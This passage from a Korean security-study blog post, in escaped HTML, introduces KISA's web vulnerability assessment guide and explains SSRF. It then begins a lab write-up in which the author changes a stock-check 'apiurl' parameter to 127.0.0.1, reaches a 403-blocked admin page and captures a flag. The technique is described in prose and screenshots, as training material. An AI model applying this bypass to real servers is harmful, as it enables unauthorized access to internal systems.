&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;느낌이 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;아니라 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;기준을 가지고 취약점을 먼저 찾습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;기준은 2가지가 있으며 KISA(한국인터넷진흥원)의 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;주통기반 (주요통신기반시설 기술적 취약점 분석 평가 상세 가이드)&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;금융보안원의 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;금취분평 (&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;금융취약분석평가 )이 있습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;이중 저는&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;KISA(한국인터넷진흥원)의 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;주통기반에 대해 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;알아보겠습니다. 주통기반은 최근 25년 12월 24일 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;개정이 되었으며 2026년도에는 조금 바뀌거나 추가 되는 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;모습을 보이고 있습니다. 총 864페이지 정도 되며 이중&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;676 쪽 ~ 786쪽까지 Web Application (웹)에 해당되는 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;부분이 되겠습니다. &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vvhQy/dJMcacWg1w8/QOx8InBiXn0EV54tQ7Fit0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vvhQy/dJMcacWg1w8/QOx8InBiXn0EV54tQ7Fit0/img.png&quot; data-origin-width=&quot;683&quot; data-origin-height=&quot;898&quot; data-is-animation=&quot;false&quot; style=&quot;width: 49.2074%; margin-right: 10px;&quot; data-widthpercent=&quot;49.79&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vvhQy/dJMcacWg1w8/QOx8InBiXn0EV54tQ7Fit0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvvhQy%2FdJMcacWg1w8%2FQOx8InBiXn0EV54tQ7Fit0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;683&quot; height=&quot;898&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EFeFP/dJMcabiNHbr/4ggXOjt89XooK44ulTWhk0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EFeFP/dJMcabiNHbr/4ggXOjt89XooK44ulTWhk0/img.png&quot; data-origin-width=&quot;695&quot; data-origin-height=&quot;906&quot; data-is-animation=&quot;false&quot; style=&quot;width: 49.6298%;&quot; data-widthpercent=&quot;50.21&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EFeFP/dJMcabiNHbr/4ggXOjt89XooK44ulTWhk0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEFeFP%2FdJMcabiNHbr%2F4ggXOjt89XooK44ulTWhk0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;695&quot; height=&quot;906&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;웹 부분의 취약점 점검 항목은 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;21가지가 되겠으며 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;제가 스터디에서 배운&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;SQL 인젝션, XSS (크로사이트 스크립팅), &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;CSRF (크로스사이트 요청 변조)&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;파일 업로드 다운로드, &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;인증인가 취약점까지 항목에 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;공부를 진행 해왔습니다. &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;이제 주통기반을 정독 및 숙지하면서 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;모르는 부분을 체크해보겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;SSRF (서버 사이트 요청 변조) 개념&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;에 대해 알아보겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;SSRF (Server Side Request Forgery)&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;공격자가 요청 정보를 조작하여 웹서버가 내부서버에 조작된 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;요청을 하도록하여 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;정보를 탈취하거나 악의적인 행위를 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;수행하는 취약점 입니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;* 내부에서만 사용하는 127.0.0.1 주소로 액세스 하여 내부 정보에 접근&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;SSRF 공격은 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;CSRF (크로스사이트 요청 변조) 공격 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;보다 훨씬 위험합니다. &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;이유는 CSRF 피해자가 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;서버로 임의의 요청을 보내게 만드는 공격&amp;nbsp; &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;발생 주체가 클라이언트 (사용자)이며 공격 대상자 중 관리자 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;권환이 존재한다면 전체 애플리케이션에 침해될 수 있습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;반면 SSRF 공격은 중간에 사용자를 개입시킬 필요가 없이&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;* 웹 서버 자체를 노리기 때문에 악성 요청을 서버에 보내는 것 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;만으로도 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;정보를 탈취하거나 악의적인 행위를 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;수행이 가능합니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;다음은 실습을 통해 SSRF 공격에 대해 알아보겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&amp;lt;실습1&amp;gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bfy8cD/dJMcafMzNHZ/gfFA1ynXAoX24qouMSyr6k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bfy8cD/dJMcafMzNHZ/gfFA1ynXAoX24qouMSyr6k/img.png&quot; data-origin-width=&quot;1005&quot; data-origin-height=&quot;758&quot; data-is-animation=&quot;false&quot; style=&quot;width: 47.0812%; margin-right: 10px;&quot; data-widthpercent=&quot;47.64&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bfy8cD/dJMcafMzNHZ/gfFA1ynXAoX24qouMSyr6k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbfy8cD%2FdJMcafMzNHZ%2FgfFA1ynXAoX24qouMSyr6k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1005&quot; height=&quot;758&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3OixA/dJMcabXGyH2/1p0ckJFOcwzmzVcthPyik1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3OixA/dJMcabXGyH2/1p0ckJFOcwzmzVcthPyik1/img.png&quot; data-origin-width=&quot;1835&quot; data-origin-height=&quot;1259&quot; data-is-animation=&quot;false&quot; style=&quot;width: 51.756%;&quot; data-widthpercent=&quot;52.36&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3OixA/dJMcabXGyH2/1p0ckJFOcwzmzVcthPyik1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3OixA%2FdJMcabXGyH2%2F1p0ckJFOcwzmzVcthPyik1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1835&quot; height=&quot;1259&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;관리자 페이지 접근을 해야합니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;바로 관리자페이지에 접속을 하면&amp;nbsp; 403에러 페이지가 나오게 되고 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;접속이 되지를 않습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c2SNM2/dJMb99ZTAE6/2SeAUtAzlbvkMmAtk7gZ6K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c2SNM2/dJMb99ZTAE6/2SeAUtAzlbvkMmAtk7gZ6K/img.png&quot; data-origin-width=&quot;1768&quot; data-origin-height=&quot;1418&quot; data-is-animation=&quot;false&quot; style=&quot;width: 47.6231%; margin-right: 10px;&quot; data-widthpercent=&quot;48.18&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c2SNM2/dJMb99ZTAE6/2SeAUtAzlbvkMmAtk7gZ6K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc2SNM2%2FdJMb99ZTAE6%2F2SeAUtAzlbvkMmAtk7gZ6K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1768&quot; height=&quot;1418&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/513YV/dJMcaivHFjh/7OzkXYuV6RtYvwMZX8U9T1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/513YV/dJMcaivHFjh/7OzkXYuV6RtYvwMZX8U9T1/img.png&quot; data-origin-width=&quot;1428&quot; data-origin-height=&quot;1065&quot; data-is-animation=&quot;false&quot; style=&quot;width: 51.2141%;&quot; data-widthpercent=&quot;51.82&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/513YV/dJMcaivHFjh/7OzkXYuV6RtYvwMZX8U9T1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F513YV%2FdJMcaivHFjh%2F7OzkXYuV6RtYvwMZX8U9T1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1428&quot; height=&quot;1065&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;다음은 주어진 사이트에 접속을 해봤는데 제고 관리하는 사이트입니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;제고체크를 진행하니 42개 남았다고 써져있네요.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1391&quot; data-origin-height=&quot;695&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/MMqsF/dJMcahcwjBo/rjV7uWvWD5k8XN5m8Uprxk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/MMqsF/dJMcahcwjBo/rjV7uWvWD5k8XN5m8Uprxk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/MMqsF/dJMcahcwjBo/rjV7uWvWD5k8XN5m8Uprxk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMMqsF%2FdJMcahcwjBo%2FrjV7uWvWD5k8XN5m8Uprxk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1391&quot; height=&quot;695&quot; data-origin-width=&quot;1391&quot; data-origin-height=&quot;695&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;Burp에서는 제고관리 체크를 진행할떄 apiurl을 체크하는 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;것 같습니다. &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;이 페이지를 악용해보겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bZwTBu/dJMcadHVdB9/sodJ056Uqr98l5yRsY07O1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bZwTBu/dJMcadHVdB9/sodJ056Uqr98l5yRsY07O1/img.png&quot; data-origin-width=&quot;1419&quot; data-origin-height=&quot;474&quot; data-is-animation=&quot;false&quot; style=&quot;width: 60.6183%; margin-right: 10px;&quot; data-widthpercent=&quot;61.33&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bZwTBu/dJMcadHVdB9/sodJ056Uqr98l5yRsY07O1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbZwTBu%2FdJMcadHVdB9%2FsodJ056Uqr98l5yRsY07O1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1419&quot; height=&quot;474&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/N0Jxm/dJMcajg35QK/zxQWSOvSzGnJlz8Kw4uNG0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/N0Jxm/dJMcajg35QK/zxQWSOvSzGnJlz8Kw4uNG0/img.png&quot; data-origin-width=&quot;2063&quot; data-origin-height=&quot;1093&quot; data-is-animation=&quot;false&quot; style=&quot;width: 38.2189%;&quot; data-widthpercent=&quot;38.67&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/N0Jxm/dJMcajg35QK/zxQWSOvSzGnJlz8Kw4uNG0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FN0Jxm%2FdJMcajg35QK%2FzxQWSOvSzGnJlz8Kw4uNG0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2063&quot; height=&quot;1093&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;우선 Aplurl에 관리자 사이트에 넣어보니 요청 실패라고 되어있지만&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;서버주소를 127.0.0.1로 변경 했을 때 관리자 페이지에 접근할 수 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;있었으며 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;플래그도 획득 할 수 있었습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;이는 사용자에게 전달한 파라미터에 URL이 있을 때&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;이를 악용하는 공격자가 위조된 요청을 통해 다른 서비스를 연결을 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
